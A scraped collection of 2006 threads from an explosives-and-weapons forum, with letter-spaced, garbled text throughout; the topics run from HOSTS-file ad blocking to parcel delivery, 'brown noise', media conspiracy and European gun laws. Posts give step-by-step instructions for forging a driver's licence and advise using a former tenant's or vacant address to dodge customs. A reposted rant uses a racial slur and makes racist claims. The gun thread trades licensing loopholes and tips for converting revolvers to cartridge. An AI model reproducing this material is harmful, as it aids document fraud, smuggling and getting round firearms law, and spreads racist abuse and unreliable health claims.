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Sure, we are all using Firefox now to browse with tabs, b u t I , a m o n g o t h e rs, was having issues with the am ount of advertising
and crap on m y scree n. Adblock is a rather useful extension, but there are so ma ny places the ads com e from...
Another prob lem was that whe n I clicked on a link, XP was taking a good few seconds to resolve the link an d do something with
it.
W ell, the answer to this issue is your HOSTS file. It is a system file that lives in various places on various systems. I've now
m odified mine to solve an issue with a network share, block a huge number of adservers totally (a nd m o r e t h a n A d b l o c k d o e s ,
which downloads the advert then hides it, allowing you to be tracked regardless!), and the happy side efect is my browsing is
m uch, much more responsive!
http://www.accs-net.com /hosts/how_to_use_hosts.htm l tells you a bit about it, and http://www.mvps.org/win h e l p 2 0 0 2 / h o s t s . t x t

g i v e s y o u a s a m p l e h osts file for your system, with 400Kb (in text!) of adserver addresses.
nbk2000 April 12th, 2006, 09:50 PM

The root problem lies in the use of XP. It's a well-known resource hog an d notoriously slow.
W in2K Pro is generally considered the m ost sta ble of the W in* O/S, which just so happens to be what Mega and I use. :)
I haven't had to reinstall my OS (2K) in several years, though there's always the occassional reboot.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Anonym o u s p a c k a g e d e l i v e r y
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Red Beret April 23rd, 2006, 01:45 AM

Hi all.
I a m c o n s i d e r i n g h a v i n g a p a c k a g e s e n t t o m e f r o m the U S, which may or may not m ake it through custom s.
Acco rding to the seller, he has done business with Australia man y tim es before, with only a few pro blem s.
I need to have the parcell sent somewhere that isn't m y place, but where I can still pick it up. I cant get a PO box with false
n a m e because I dont have fake ID, and the other ideas I have had are flawed. Such as; having it sent to a nearby house,
putting a letter in thier m ail box and explaining that a parcell may have been inadvertently sent to their ad ress and could th ey
plea se place it out by the m ail box when they recieve it, with the promise of a reward for their trouble. Obvoiusly this is flawed.
I would like to know what any of you have done in the past that would help with this or any ideas/suggestio ns that you m a y
have.
T h a n k s f o r a n y a s s i s t a n c e y o u m ay be able to offer. :)
Red Beret.
Alexires April 23rd, 2006, 10:01 AM

W ell, it depends what you are having sent and which state you a re having it sent to.
For instance, I found a supplier of Pentaerythritol who sent m e 4 kg (as a sample *grin*), so its fine for South Australia, but
w h e n s o m e o n e f r o m W A tried to order it, no go .
You could always ask a m ate to see if he will have it sent to him for you, just m a k e s u r e y o u d o t h e order at a public library.
Other than that, I think you m ight be in trouble.
Personally, I'd be willing to recieve the package for you, and the n send it to you via courier, just depends h ow m uch you trust
m e *wink*.
Just a few little ideas.
noz April 23rd, 2006, 11:52 AM

I have had stuff sent from the states but never took risk of usin g s o m eone else to wrap it, I did it myself sent multiple
packages with item s h i d d e n i n g o o d s I b o u g h t a t j u n k s h o p , 1 0 0 % s u c c e s s r a t e . I f y o u a h ve a pal in US ge t stuff whatever it is
you fancy sent by him , best tim e is 2 weeks be fore xm a s a n d g e t s e n t t o a n a d r e s s t h a t i s s h a r e d w i t h n a m e o f p r e v i o u s
tennant! from 2 years plus, (as long as he hasn't got a mail direct on) then if heat you have zero knowledge. See if a
c o m p a n y s e n d s t h e r e is a huge paper trail straight to you, if just sent fro m a p o s t o f f i c e a n d h a s n o i.d. on it then your cool.
Be interested to know anyone who since 911 who has had shipping from U S to UK, Germ any or Sweden?, especialy m etal
item s.
Down Under April 23rd, 2006, 10:33 PM

Alex ires has a point. It depends what you are trying to get in, ( and also what sta te you are living in ).
Living in Sydney, I've had mixed results over the last 20 years, m ainly with ' smoke ' related products, but I found the O ffice
Of Film & Literature were a lot more diligent ( a nd Draconian ) than anybody in cu stom s.
I m e a n o n t h e o n e h a n d , s o m e people I've known in South Australia have had th eir deliveries from Sagam artha Seeds in th e
Neverlands slip through custom s unseen, while I've had a bloody T-Shirt with Sensi Seeds logo on it confiscated by O.F & L.
It alm o s t s e e m s like a lot of the tim e it comes down to a case o f ' On the day '.......... the result d epends on who's working &
what m ood they're in.
Back in 1988 I went into a camera shop at W ynyard in Sydney and tried to order a pair of Night Vision goggles which had to
c o m e f r o m the U.S.A.
W ithin 3 weeks of ordering them , both the cam era shop owner a nd then m yself were visited by me m b e r s o f t h e F e d eral Police
Force's Major Crim e Squad who said I couldn't own them in this country, and advised against any further attempts at
purchasing them .
About 6 years ago I had a friend order a pair through a magazine called ' The Edge ' in th e U.S.A. and they actually got
through custom s so either the y're m ore comm onplace now or som e o n e a t c u s t o m s was asleep - either way you take a chance.
The best thing you can do is find a house through a Real Estate agent which is between tenants, or even better, a run down
dilapidated house like squatters are always setting up in and use that address, but obviously you're going to have to be there
everyday when the postie goes by - a bit hard if you're working.
And at the end of the day if you're trying to get som ething which they think is im portant enough, or if they com e to the
address just to make routine enquiries, and then find out it's an em pty dwelling or a vacant block of land, they will stake it out
for sure.
If you're just trying to get a couple of Loom p a n i c s b o o k s o r s o m ething, it's not worth going to that much trouble - just wait till
s o m e b o d y i s c o m i n g b a c k f r o m the U.S.A. and get them to put it in their main luggage; it's rarely searched other than by x-ray
& sn iffer dogs.
Red Beret April 28th, 2006, 12:46 AM

OK, thanks for all the advice.
T h e p a c k a g e will be shipped from the post office, with n o c o m a p ny nam e on it. So that wo uld help. I'm not sure which option
I'll choose, b ut I cant pack the product m yself, or get anyone to do it. So I probably will go with the previou s tennant thing.
Yes, in m y eyes it is worth getting this product.
Cheers.:D
noz April 28th, 2006, 07:14 AM

Red Berret, in most countries they got to prove it's you did the deed, if you have a even semi plausable story for th e m a n d
you stick to it they can't do yo u.
I used to ste al motorcycles and ring th em for a living fo r a while and kno w they give up if they don ' t s e e a w e a k n e s s a f t e r a
few hours.
G O O D LU CK MATE!.
(Paragraph breaks are your friend. Use them . NBK)
xyz May 4th, 2006, 05:11 AM

Been a while, nice to see this place is up and running...
Red Beret, SW IM has a trick for you with regard to the PO Box. You need a c o p y o f P h o t o s h o p , a g o o d p r i n t e r , a n d a g o o d
digital cam era.
First, take your (or someone elses) driver's lice nse and blu-tack it to a wall in a room with soft (i.e. non-direct sunlight or
sim ilar) lighting (any direct light will reflect off the holog ram s and fuck things up). Then, take your digital cam era, set it to it's
high est quality, and turn off the flash (again, n o direct light), rest it on a solid surface to avoid camera shake blurring (which is
m uch m ore difficult to avoid with the flash deactivated), and take a photo of the license. Repeat if necessary until you have a
nice clear photo.
T h e c a m era is necessary instead of a scanner due to the need for a lack of direct light. First time SWIM tried this the hologram
showed up as annoying blotch es of colour on the scan.
T h e n y o u r p h o t o s h o p s k i l l s c o m e into place, edit whatever details you wa nt about the license, which is done m ost easily by
copying and pasting the existing letters into a new order (slow, yes, but keeps it looking original). Take your tim e a nd don't
worry about the really fine background details, no post office em ployee looks that closely. You'll also proba bly need to tweak
t h e d a r k n e s s o f t h e i m a g e , a s t h e c a m era shot will usually be lighter or darker in colour than it should be.
Once you're happy with how it looks, set the print size o f the im age to match the original size of the license, then set your
printer to the highest quality and print it onto som e good glossy photo paper (glossy paper will loo k nice and plasticy like the
real thing) before cutting it ou t.
Now, you have a new license, but it's only on paper and has no hologram .
T h i s m a y s e e m like a problem , but get a wallet with a clear plastic license window, and put it in the re, now you can no longer
tell it's not a card unless you try to tak e it out. As for the hologram , don't worry about it, a postal employee won't lo ok that
closely, espe cially if you go in to the post office at a busy tim e o f d a y .
W hen you show them , just hold your wallet out to them , without giving it to them . In SW I M ' s e x p e r i e n c e p e ople will usually
hold the other side as they look at it, but nobody has ever tried to take his wallet off him (and what m e m b e r o f t h e s h e e p l e
would?).
Anyway, this has worked for SW IM on post office workers and hotel em ployees, along with countless bouncers, liquor store
staff, and the odd casino worker when SWIM was still underage. Just don't try it with cops, as both SW I M a n d m yself doubt that
you'll have m uch success.
Red Beret May 10th, 2006, 04:52 AM

Rather splendid xyz, I'll have som e o n e w h i p o n e u p f o r m e . G o o d t o s e e you back.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > To Polverone...
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nbk2000 April 23rd, 2006, 02:22 AM

to verify that it is I, nbk2000, who signed up at SM.org as "NBK". :)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > www.anarchistcookbook.com
hacked
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FireFly April 26th, 2006, 01:17 PM

This is off topic to normal discussion here at RS.ORG. But it seem s that www.anarchistcookbook.com was hacked by
www.c0rrupt.com. Not that this affects any of us, but I found it am using. If only th ey would term inate the other crap forums...
simply RED April 26th, 2006, 01:42 PM

The need this "very im portaint" thing to be posted twice is quite dubious...
FireFly April 26th, 2006, 02:46 PM

The need this "very im portaint" thing to be posted twice is quite dubious...
I a p o l o g i z e . W hen I first tried to post this my connection lost the signal, and once I refreshed the window it brought it back to
the original post box, and therefore, I thought it hadn't gone through.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Fear, an effective deterant?
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A long time ago, I used to read a series called "The 3 Investigators". The first bo ok deals with a 'haunted' castle. To cut a long
story short, a large pipe organ with sub/super sonic range produced a note that effected the central nervous system a n d
caused fear.
I googled a bit, but d idn't com e up with anything that looked good. My question to you all is, have you eve r heard anything
like this before? There is, ofcourse, the "brown noise" which I'm fairly sure is shit (hehe), but it would be very interesting to
find a freque ncy that caused this.
S o m eone (I wonder who it could be) comes to have a snoop around your house/lab/shelter/cache but can't get any closer th a n
a h u n d r e d m etres before they are subjected to incapacitating fear.
I, fo r one, would find it very am u s i n g .
Not too sure where to put this thread, so if a mod could move it to the appropriate place, then I would be very greatful. Thank
you.
festergrump April 30th, 2006, 01:10 PM

There is, of course, the "brown noise" which I'm fairly sure is shit (hehe), but it would be very interesting to find a frequency
that caused this.
I was just talking abo ut this very thing briefly with some o n e a m e r e w e e k a g o .
It's not shit, this "brown noise"... but considering the money the US probably has already put into R&D on it they're not going
to go into great detail about the frequency spectrum required for these results. They seem to have not ruled out pu rsuing this
technology for the future.
Thin k you might find this little article from Popular Science interesting, th o u g h :
http://www.popsci.com /popsci/whatsnew/abcd80b13832a010vgnvcm1000004eecbccdrcrd.html
Of course, sound waves in water travel much better and further for the energy output, too, but the point is that it wo rks.
I t h o u g h t t h e w h o l e i d e a o f a n e n e m y diver sicking up his latest meal within his scuba mask was too damn funny! :D
akinrog April 30th, 2006, 06:06 PM

It's not shit, this "brown noise"... but considering the money the US probably has already put into R&D on it they're not going
to go into great detail about the frequency spectrum required for these results. They seem to have not ruled out pu rsuing this
technology for the future.
You might be right about the brown no ise, but on Discovery channel Myth Busters tested the claim ed frequencies at very high
a m plituteds (i.e. with giant speakers) on them selves, with no positive results.
I know m yth busters is not a totally scientific documentary, but some sort of infotainment program s. And m a y b e t h e r e i s s o m e
state-of-art technology in it, if the scientists ever m a n a g e d t o m ake it. R e g a r d s .
Alexires April 30th, 2006, 11:00 PM

Festergrump - I haven't ever heard of any test where someone was caused to crap themselves from sonic waves. I have heard
about so called "pain rays" or sonic fre quencies that can give instantaneous m igranes, but thats as close as I've heard.
I wonder how som e o n e w o u l d t e s t t h i s ? P r o b a b l y w i t h s o m e v e r y e x p e n s i v e s p e a k e r s t h a t h a v e a n e x t r e m e ly large frequency

range. Other than that though, all you would need was a com puter that fed a changing fre quency into the speakers and a way
of recording when you were effected (m a y b e a p u s h b u t t o n t h a t c a u s e s t h e c o m puter to m ark the frequency range).
Just food for thought.

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > The Doors of Perception:
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festergrump April 30th, 2006, 06:20 PM

The Doors of Perception: Why Americans Will Believe Almost Anything- by Tim O'Shea
I came across this link which was originally posted by SWIM on another forum I frequent and thought many here might like to have a look at it, too:
http://thedoctorwithin.com/index_fr.php?page=articles/doors_of_perception.php
It's a good read and should provide some insight as to how the government has for so long (and will continue to try to) keep you out of the loop to be "good little sheeple"...
nbk2000 May 2nd, 2006, 03:47 AM

- flagrant errors of grammar and spelling rampant in advertising, which go unnoticed
- declining SAT scores and the arbitrary resetting of Average, which has occurred at least twice in the past 8 years, in order to cover up how dumb our kids are really getting
...
- increasing illiteracy of high school graduates, both w ritten and spoken
- the unw ritten policy requiring school teachers, especially math and English teachers, to pass students who have failing marks, especially if they're a certain race or other, so
that the school won't "look bad"
...
- the dow nward spiral of the level of ordinary conversations, which are commonly just exercises in stringing together random clichs from the very finite stock of endlessly
repeated homogeneous bytes. It's as though we're only allow ed to have 50 thoughts, and most conversation is just linking these 50 programmed audio clips together in a
different order
...
You see the results of this everyday in the "Beast" thread.
Fester, you posted about this sort of thing at that other Forum too. I like how they bitched about how the hated grammer patrol and their grammer teacher isn't around
anymore to correct therm.
Yes.
And it shows in the shitty decline in literary skills on many boards.
Of course, this is just a symptom of a much larger disease, which is being perpetrated by the government and media.
Look at the last VP we had, Quayle. That idiot couldn't even spell 'Potato' correctly. And now we have a president who's even more stupid. :rolleyes:
Proles with short attention spans, flexible memories (We've always been at w ar with Eastasia), limited vocabularies (Duckspeak!), are just the kind of digits the Party needs to
fight the War on Terror! OSAMA IS GOLDSTEIN! :mad:
I also tried finding my rant against television programming, but apparently it's one of those posts lost in the Crash of '02. I'll have to find it in my archives and re-post it. :)
enhzflep May 2nd, 2006, 04:01 AM

Hell, even the president of you fine country is reputed to have said
"The vast majority of our imports come from overseas" WTF?!?
Questions are increasingly being ended w ith a full stop. In addition to this, the media are increasingly trying to 'coolify' themselves by using the mal-formed grammar of the
masses. Well, I should say "are hopefully trying to coolify themselves". I guess the other possibility is that the too are losing the grammar and spelling fight in prefference of the
addage that "They know what I mean, so being accurate and correct is no longer important." - "It'll do mate"
festergrump May 2nd, 2006, 03:17 PM

NBK,
I saw that post some time back and liked it so much I archived it within my own records... Hope you don't mind me posting it here for you. I feel it does deserve to be read
again by the masses...
----------------------------------------------------------------
The true nature of television by NBK2000
Tyranny is Freedom!
Thinking is Ignorance!
Watching is Living!
Television...cure for the tyranny of freedom...the soma of the masses.
Stupid fucks w atch TV and think that they're learning something. It's a control device to desensitize your mind into passively accepting, without critical thinking, anything that
gets feed into it. It's also the lazy way of amusing yourself since you don't have to do anything more physical than push a button. No picking up, carrying, opening, or turning of
the pages of a book, let alone all that tedious thinking required by reading!
You can't sit and contemplate the 3 second soundbite with the 12 embedded subliminal stressor images when you've got a continuous barrage of this shit being forced into your
eyes. The brain suffers information overload from the sensory assualt, zones out, and becomes a passive receptor w ith the disinformation bypassing your higher thought
processes and going straight into the mammalian flight/fight reflex response center.
You become a passive sponge to absorb all the crap they throw at you from the screen. All thinking goes out the window while you're watching. It's only afterwards that you can
think about it, but by then it's too late, because your memory will be distorted by the tricks of the trade into remembering what they w ant you to remember most.
Written text can be read, set aside to be thought about, then re-read to analyze it bit by bit and see just what the writer is trying to convey (or hide). Unless you sit with a DVR
and progress through it frame-by-frame, and de-layer all the audio tracks, you can't do that kind of analysis of video. And, even then, you only see what they want to show
you.
Remember, 80% of human sensory input is through the eyes, thus the majority of brain "CPU cycles" is devoted to processing this information. Because of the predatory nature
of humans, and the need to rapidly respond to prey/threats to our survival, our brains process visual information without the usual lag that the other senses experience. In fact,
our eyes have a "pre-processor" as a bundle of nerves behind the eye that does (something, forgot exactly) that increases our visual capacity over similarly "eyed" animals.
This makes us highly reactive to primary visual stimulus (movement/light-shadow /patterns), much more so than to any other sensory input.
Rapid jerky movements of alternating light/dark patterns can trigger spikes in blood pressure (stress) without concious awareness. Likely because of deeply programmed
survival programs that equate such visual stimulus with snakes in the grass, stalking predators, etc. Byusing such patterns and associating it with a certain person or group, a TV
"programmer" can instill unconcious fear of such a person/group in the target audience.
Even the language of the televison industry reflects its true purpose.
A "Programmer" is the person who decides what is going to be shown. And w hat do "programmers" do? Make "programs". What is a program? A set of instructions to be ran by
a computer. What is a computer? A machine that does only w hat it is told to do in a set of instructions called a program. Therefore, you are an unthinking machine that does
only w hat the programmer tells you to do.
"Channels" are what you w atch. "Channel" also means to guide or focus. To guide or focus something, you must first control it. If you control something, then you are
channeling it. Therefore, if you are watching a channel, it's because the programmer has succeeded in w riting a program that controls your attention sufficently to prevent you
from changing it or *gasp!* turning it off.
-------------------------------------------------------------------
Quote:
A television programmer desires to channel a target audience to his programs.
-------------------------------------------------------------------
How many control words are in that sentence?
"Programmer" = Person w ho controls a machine
"Channel" = To control or guide
"Target" = synonym for victim or prey
"Audience" = passive viewer or receiver, NOT "Performer" or actor. One who is acted upon, not acting upon others.
"Programs" = Set of instructions by which non-thinking machines are controlled.
You know how much TV the great minds of the last 50 years usually watched? ZERO. Einstein didn't watch it (or radio), nor does Hawkings. Does Ruttan, the man who made his
ow n plane to fly non-stop around the world or his latest sub-orbital plane watch TV. No.
Did the man who built the V-2 for the Nazis, and the Saturn-V for the moon landings watch TV? No. Neither does Gates or Jobs and they're the richest men in the world.
If you ask the great thinkers, scientists (think the Newtons and Kepplers of our time, not the corporate hacks), and explorers how much TV they watch, I'll bet on them saying
ZERO (or close to it).
How many losers go home and veg out in front of the TV every day for hours on end? Countless legions...all living vicarious lives through the multi-media w hores calling
themselves "artists" that are nothing more than silicone scultped dolls with their strings being pulled by corporate puppet masters with their psychologists-demographers-focus
groups-et al telling them how best to rape your mind...w hile all the while not living their own lives beyond that needed to earn enough to buy the latest car/shoe/razor-blade
that'll make them cooler/hipper/sexier than their neighbors/friends/co-workers.
TV industry execs don't w atch TV. They know better. Just like smart drug dealers know better than to use their own product.
To (sort of) quote RATM:
-------------------------------------------------------------------
Quote:
Turn on the televison
Naw, fuck it, turn it off!
Fear is your only God on the televison.

Naw, fuck it, turn it off!
Your savior
My guillotine
Flex your cerebellum

Fire!
-------------------------------------------------------------------
What race watches the most TV in the US in every catagory of age, education, and income? Niggers. Which w atch the least? Asians. Of the two, who does the best in education
and income, adjusted for population? Hmmm...tough guess, huh? Fluke luck? Doubtful!
What race dominates the TV industry (execs/programmers, not the talking heads in front of the camera)? Whites. (over 90%)
What race watches the most TV? Blacks.
Who were the Masters and who were the slaves?
Who are still the Masters? And who are still the slaves?
We've simply replaced the whips and chains of the previous slave era with the Gangsta' Rap and Nikes of the modern slave era. The slaves no longer seek freedom now that
their chains are so entertaining and exciting.
Why should a slave live its ow n life w ith all the attendant struggles and hardship when it can pick from so many ready-made lives that are much more entertaining and
stimulating with no difficulties that can't be solved within half an hour?
Freedom is Slavery!
Very well put, NBK! Right along the very same lines as what Mr. O'Shea also presented, only you went on to speak truths which Mr. O'Shea felt not like delving into so boldly.
------------------------------------
I cannot ever look at news media in any form without laughing as to the blatancy of the lies, anyway, or even look at the attempted mask of sincerity a major politician tries to
cover his face with...
Not to bash Dubya (hell, I voted for him, or rather against Kerry), only to point out something I noticed... Doesn't he alw ays appear to be laughing inside as he speaks his lies? I
don't think I could do any better, myself. I'd probably be rolling on the floor laughing while I know the average sheeple are swallow ing my festering load w ithout question... :)
"Mmmmm, YUMMY!", the sheeple all say, while PR media cohorts gently rub the mindlessly attuned sheeple's throats to make sure it all goes down without problem.
Pb1 May 4th, 2006, 03:44 AM

What race watches the most TV in the US in every catagory of age, education, and income? Niggers. Which w atch the least? Asians. Of the two, who does the best in education
and income, adjusted for population? Hmmm...tough guess, huh? Fluke luck? Doubtful!
Correlation, not causation. In my opinion the differences in TV viewing and success are caused by different cultures rather than one being caused by the other.
I know a lot of Asians and they seem to be pushed by their parents to succeed, not watching TV is a part of this. I know one whose parents don't push him and he's not doing
so well. He spends all day playing games instead of studying. I guess that games have the same basic effect as TV.
I don't know any Negroes, but I'm guessing they don't have this driving force.
About that site in the first post. There are a couple of examples they use that I don't agree with.
>Pharmaceuticals restore health

Pharmaceuticals are designed for this purpose, so I assume at least some work. We've all heard about the effectiveness of penicillin in the old days.
>Milk is a good source of calcium.

At 30% DV per cup, I'd call that a reasonably good source.
>Vitamin C is ascorbic acid.

A chemical fact, i think.
>HIV is the cause of AIDS.

I thought this was a medical fact.
>pretending like programs favoring "minorities" are not just another form of racism
If affirmative action helps the minorities over whites, I would call that favoring.
I've got some other thoughts on this matter, but I should be going to sleep. 3 AM already.

Think about it this way. Pharmaceuticals are made by a company. The purpose of this company is to make money. If the pharmaceutical fixed the problem permanently, then
the company w ould be soon out of business. I wouldn't be suprised if pharmaceutical companies looked for a solution to illness that caused side effects to sell more products.
I always understood racism to be discrimination against a race. (Def. To discriminate socially is to make a distinction betw een people on the basis of class or category without
regard to individual merit.) Regardless of the type of discrimination (w hether it is good or bad), it is still racism, as you are discriminating based upon their skin colour.
Not to sure about the milk one, it seems like a good source to me, but how much of it is available calcium, and compared to other sources, is it really that good?
I couldn't give a flying fuck about whether milk is a good source of calcium, so you can research that if it takes your fancy.
nocturnal shadow May 4th, 2006, 01:05 PM

Even if this article has some errors, even lies, in it how would that make it any different to the rest of the shit thats rammed down our throats. At least it might have some truth
behind it for a change. Personally I would like to believe that the government, media etc werent lying to/controlling us, just like I w ould like to believe in god but its impossible
to even try to believe what they tell you these days. The lies are just becoming to frequent and obvious.
USE
Reading this article made me think. If there are so many obvious lies, what arent we picking up. Personally I think Im a fairly convincing liar but I never tell lies that are
obviously untrue hence people dont suspect anything. What if the media does this too? If no one picks up my lies why should I pick up theirs?
PARAGRAPH
This may be obvious to the rest of you but it never occurred to me, I alw ays knew the government/media were lying to us but I figured I could generally pick their lies. But this
article made me realise if these people are anywhere near as intelligent as me (w hich isnt that intelligent) I would never be able to pick up their lies. And w hy shouldnt they
lie? We all do, how could we believe that they wouldnt too.
BREAKS
Also the topic of us kids getting dumber, Ive found that in Australia although most people can still read and w rite well enough, the emphasis has gone from actually learning
something, to just knowing enough to go well in the HSC (high school certificate). This is especially true in the sciences, in my chemistry class people frequently go off at me for
asking the teacher to go into something in more depth than the syllabus requires us to. They dont actually w ant to learn chemistry they just want to get a good UAI
(universities admissions index) at the end of the year.

Nocturnal Shadow, even if the article had some lies in it, I believe that since it led you to think about what is true and w hat is false, it has accomplished its task.
I have found for one to see a lie, one needs to know/suspect/have a gut feeling of w hat the truth is. The power of the media lies therein. Everyone expects the government to
lie, but if the so called "unbiased" media supports the governments lie, then it must be true!
The most effective lies are the ones with a grain of truth in them. People tend to believe anything that is written, so all the media needs to do is have something w ritten from a
"respectable" source, which lends weight to the view of the media and in translation, something is lost and suddenly everyone believes it as the truth even if the government
said it in the first place. Ever wonder w hy the paper comes out at the beginning of the day?
Before I go on, ponder the difference betw een reality and actuality (or the difference of what is real and what people percieve to be real). In truth, there is no difference, and
once someone has a firm grasp on their "truth" it is difficult to sw ay them. Those that can be swayed easily can just as easily be sw ayed back.
You are certainly correct in saying that students only care about what they HAVE to learn instead of what they could learn. Its a sad fact now that those who seek knowledge for
knowledges sake don't often get very far.
Maybe its an Australian problem, Nocturnal Shadow. I find the very same thing in SA.
knowledgehungry May 7th, 2006, 10:26 AM

IMHO this article is a little out there, especially the section entitled "Conventional Wisdom". Many of the things mentioned are true. The author seems to have an anti-medicine
bend and he bases things on that rather than fact. He did not disprove any of the statements regarding medicine, rather he used the trick of making it appear so obviously false
that it didn't need to be explained aw ay at all.
Another something I noticed, almost all of his sources(at least the ones dealing with the most questionable information) are from books with authors who share O'Shea's opinion.
The rise in "ADD" and "ADHD" may very w ell be caused by TV and other electronic stimulation. Children's games, television programs and the like are all based on trying to keep
a child interested for a long period of time(that's why mothers park their kids in front of a screen, they w ant some undisturbed "me" time). Producers of children's TV shows are
well aw are of the fact that young children(especially boys) have a short attention span and will soon grow bored of a slow moving plot or long story, so they make TV show s
such as Sesame Street that have a 30 second clip using singing and flashing pictures to keep the child entertained then switch it to a different themed set of pictures and flashing
lights. Even w hen there are parts of a children's TV show with plots or a story they are kept short and simple. Every point or plot point in the story is spelled out at least twice
rather than forcing a child to learn to pay attention to what people say the first time and figure things out themselves.
Computer and video games do the same for older children. Instead of children riding bikes, and then learning how to fix them when their bikes break, they play a game w here
you don't have to work hard or think hard to achieve a goal. Instead of going fishing and learning how to use logic and scientific reasoning skills to find out what kind of lure to
use where, on what kind of day to catch a certain kind of fish( a process which can take a lot of patience and focus), they catch a fish on their computer game by pressing a
button fast enough. I could make up more examples but I think you get the picture.
Instead of forcing a child to learn to pay attention or follow through with something, our multimedia culture caters to laziness and instant gratification. Most TV and Video games
are enemies of our children that should be fought, not friends we pay to babysit our kids.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > LICENCE FREE FIREARMS:europe loopholes
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noz May 2nd, 2006, 08:09 AM

I have just started looking into the availability of "NON TICKET" firearms in Europe, am continuing my rearch but would appreciate any feedback on subject.
So far have discovered can get all components to make any ammo upto 50bmg in UK, however that will change in 4 to 6 months as presses,dies,components are becoming
licenced in Uk in new legislation. Many countries in Europe will allow single shot muzzle loader(black powder) pistols and rifles, now that brings up possibility of some very good
guns like TC Omega Z5 which is available off ticket in Germany. HOWEVER my main interest is in percussion revolvers, I know you can buy them over counter in Europe but
where??, certainly illegal to buy without licence in Germany BUT what about Belgium/Switzerland/Italy/france/Czek republic etc etc(language problem finding out facts).
Is legal in Germany to buy primers,almost any bullet(head),cases etc but not powder!, it's lmit if you have a firearms cert is 2KG not sure how often a year yet.
Can buy suppressors (silencers) in France without licence and in Uk upto 22 cal rimfire without licence.
Lasers are illegal in Germany BUT stun guns and tear gas arn't, however those 2 are illegal in Uk but lasers arn't!!!.
Will update when get more facts, of course this is for research purposes only!.
tomu May 3rd, 2006, 11:10 AM

Percussion revolvers are sold in France without the need of a licence, as any gun which was build before 1871 or replicas of such weapons, with the exception of the Colt
Peacemaker and the german Reichsrevolver.
Also rimfire rifles with a maximum calibre of 6 mm and with an overall lenght of at least 80 cm and a barrel lenght of at least 45 cm, which don't look like a full auto weapon,
can be bought without a licence also special self defense guns which fire rubber bullets. But if the muzzle energy is higher then 10 Joules the gun must be registrated with the
authorities (the gun dealer needs a proof of ID of the buyer and does the registration automatically).
In Germany a special low explosives licence is required to buy nc-powder or black powder and not a firearms permit. Primers, cases and bullets as well as reloading tools are
available without any permit.
In Austria NC-powder and black powder is still available without a licence, so are barrel blanks.
Belgium used to have a very liberal gun law and belgian gun shows were always good sources to buy guns without to much hassle, but I've not been there for some years and
the situation there might have changed to the worse (as everywhere).
noz May 4th, 2006, 07:59 AM

Interesting, my experience of Belgium from 13 years ago was that i could buy a 30/30 or 44magnum winchester lever action or a shotgun, also ammo was sold with no i.d. i
also remember hearing Belgium was one of best places in world for arms trader and there was a market in central Brussels that had piles of guns.
I never went as was always on a motorbike and had already had a warrant out on me so was cautious. I also think you used to be able to buy shotguns and 22lr s in france
and 2 years ago when went could have bought a fully suppressed CZ 22lr but they take copy of passport.
Am told by a ex-German policeman they pass on to your country and you get knock on door a month later, which defeats the point of all the trouble getting it back.
as for old guns is same in Uk but must be obsolite calibre, which is a joke as can get dies to convert other brass to old shape in from 1 to maybe 3 or 4 stages, even better is
44russian can be made with ut down 44mag or 44spl !. Also there is a great book for sale online by great guy P.A.LUTY , I hav'nt got it as am tight swine and like modern
calibres, it shows how to make from SCRATCH various calibres at home from junk and brass/plastic pipe.
Would to know for 100% about black powder percussion revolvers in France or other places as these can be modified to fire centre fire, or what the score is in Belgium these
days. Did you know switzerland is good place to get brand new handguns, the Italian mob get all there SIGS,Glocks and 92f's there, well at least they did couple of years ago,
don't know how it works though.
Is a shame things are so paranoid, all the real bad guys have got piles of kit, I should have joined the hells angels! good pay and plenty of toys.
I'm in Deutzland, but travel at times and am writing a spy novel!, thanks for info, I will post anything I find out.
karme May 10th, 2006, 11:51 AM

Can't Get Shit In Hawaii , considerd The First Fed Run State In Union.
xyz May 11th, 2006, 10:22 AM

I wonder if that has anything to do with the fact that the Yakuza used to smuggle a lot of their guns over from the US via Hawaii?
noz May 14th, 2006, 12:03 PM

Well this topic is not getting much response so will have to keep posting info in dribs and drabs to get it going.
Did you know lasers cannot be bought in Germany as are illegal, but can be bought with zero paperwork or any suspicion at all in UK, even the AMAZING green light laser which
has a range of a mile, and why would someone want one of them I wonder?????
Anyone want to add any more differences in EU member state regulations?
++++++
You don't put a period after a question mark at the end of a sentence.
NBK
TreverSlyFox May 15th, 2006, 08:31 AM

If you have access to machine tools the way to go would be the Black Powder Cap & Ball revolver. There are many well made reproductions made and you do exactly what
was done after the Civil War when the Metallic Cartridge became plentyful. You convert the BP C&B Revolver to cartridge. Here in the States there are "Conversion" kits for the
more popular 1858 - 1861 Colt Navy, Remington Army and Thompson Center "Old Army" models.
The down side to the conversion kits is the cylinder must be removed to reload. With access to machine tools you could make a "new" cylinder, hammer/firing pin and machine
a proper "loading gate" into the frame. Then you could have one of the guns Jessy James carried, a converted 1861 Remington Army model in S&W .44 Russian, or in .44
Special for modern ammo.
There is also a single shot BP C&B derringer that has a .22LR barrel conversion kit for it for sale here in the States. Just remember once the "conversion" is made you now have
a true "Firearm" that might not be lawful where you are. YMMV
BlackFalcoN June 8th, 2006, 01:04 PM

Interesting, my experience of Belgium from 13 years ago was that i could buy a 30/30 or 44magnum winchester lever action or a shotgun, also ammo was sold with no i.d. i
also remember hearing Belgium was one of best places in world for arms trader and there was a market in central Brussels that had piles of guns.
Unfortunately, those days are over.
As of June 9 2006, ALL firearms sold and owned in Belgium, require a federal license.
In the past, you could buy most sporting and hunting rifles without much trouble.
You were only required to show a valid Belgian ID-card to purchase them.
(Double barrelled shotguns, bolt-action heavy calibre deer rifles, lever action repeaters, etc.)
Gunlaws were pretty tolerant, especially in comparison to other neighbouring countries (Germany, Netherlands, UK, )
All this changed a couple weeks ago, because of an 18-year old miscreant, who shot 3 people. ( a Turkish woman got shot in the lungs but survived, and an African woman
and the 2 year old toddler she was looking after got killed )
( http://news.bbc.co.uk/2/hi/europe/4763655.stm )
In a panic-reaction (and elections coming up this Fall :rolleyes: ), the leftwinged government took a drastic decision that every gun owner has to have a license for every past
and future gun purchased.
A license is only granted to those who meet the stringent criteria and is only granted per gun for maximum 5 years by the state-gouvernor. ( which takes months to be
approved )
"Purchasing costs" per license are not yet officially determined, but are rumoured to cost around 200 euros (about 250$ :eek: )
The new gunlaws even grant federal law enforcement the right enter your residence without a search-warrant, so they can "inspect" your guncollection. ( Just the fact that you
